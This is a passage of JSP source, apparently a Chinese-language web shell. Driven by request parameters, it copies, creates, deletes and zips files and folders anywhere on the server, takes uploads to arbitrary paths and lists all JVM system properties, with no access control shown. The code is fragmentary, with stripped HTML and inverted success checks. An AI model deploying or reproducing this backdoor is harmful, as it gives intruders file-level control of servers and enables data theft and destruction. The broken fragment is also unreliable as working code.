"); sbCopy .append("目标文件:
"); sbCopy.append(" "); sbCopy.append("
\r\n"); sbCopy.append("
目标文件错误。"); } else { File f_des = new File(strDesFile); if (f_des.isFile()) { sbSaveCopy .append("
目标文件已存在,不能复制。"); } else { String strTmpFile = strDesFile; if (f_des.isDirectory()) { if (!strDesFile.endsWith("\\")) { strDesFile = strDesFile + "\\"; } strTmpFile = strDesFile + "cqq_" + strFile; } File f_des_copy = new File(strTmpFile); FileInputStream in1 = new FileInputStream(f); FileOutputStream out1 = new FileOutputStream(f_des_copy); byte[] buffer = new byte[1024]; int c; while ((c = in1.read(buffer)) != -1) { out1.write(buffer, 0, c); } in1.close(); out1.close(); sbSaveCopy.append("原始文件 :" + strPath + "
"); sbSaveCopy.append("目标文件 :" + strTmpFile + "
"); sbSaveCopy.append("复制成功!"); } } sbSaveCopy .append("
"); } if (strAction != null && strAction.equals("newFile")) { String strF = request.getParameter("fileName"); String strType1 = request.getParameter("btnNewFile"); String strType2 = request.getParameter("btnNewDir"); String strType = ""; if (strType1 == null) { strType = "Dir"; } else if (strType2 == null) { strType = "File"; } if (!strType.equals("") && !(strF == null || strF.equals(""))) { File f_new = new File(strF); if (strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF + " 文件创建成功"); if (strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF + " 目录创建成功"); } else { sbNewFile.append("
建立文件或目录出错。"); } } if (null!=strAction && "delFolder".equals(strAction)){ String folder = request.getParameter("path"); File dir = new File(folder); delFolder(dir); sbDelFolder.append("目录删除成功"); } if (null != strAction && "zipFolder".equals(strAction)) { String inFolder = request.getParameter("path"); String outFolder = request.getParameter("file"); ZipFolder.zipDirectory(inFolder, outFolder); sbZip.append("
目录压缩成功,压缩文件路径为:" + outFolder + "
建立文件或目录出错。"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if (path != null && !path.endsWith("\\")) path = path + "\\"; if (!f1.renameTo(new File(path + f1.getName()))) { request .setAttribute("error", "Cannot upload file."); f1.delete(); } } } } %>
<% Properties props=System.getProperties(); Iterator iter=props.keySet().iterator(); while(iter.hasNext()) { String key=(String)iter.next(); %> <li><%=key%>:<%=props.get(key)%></li> <%} %>
立足新起点 注入新观念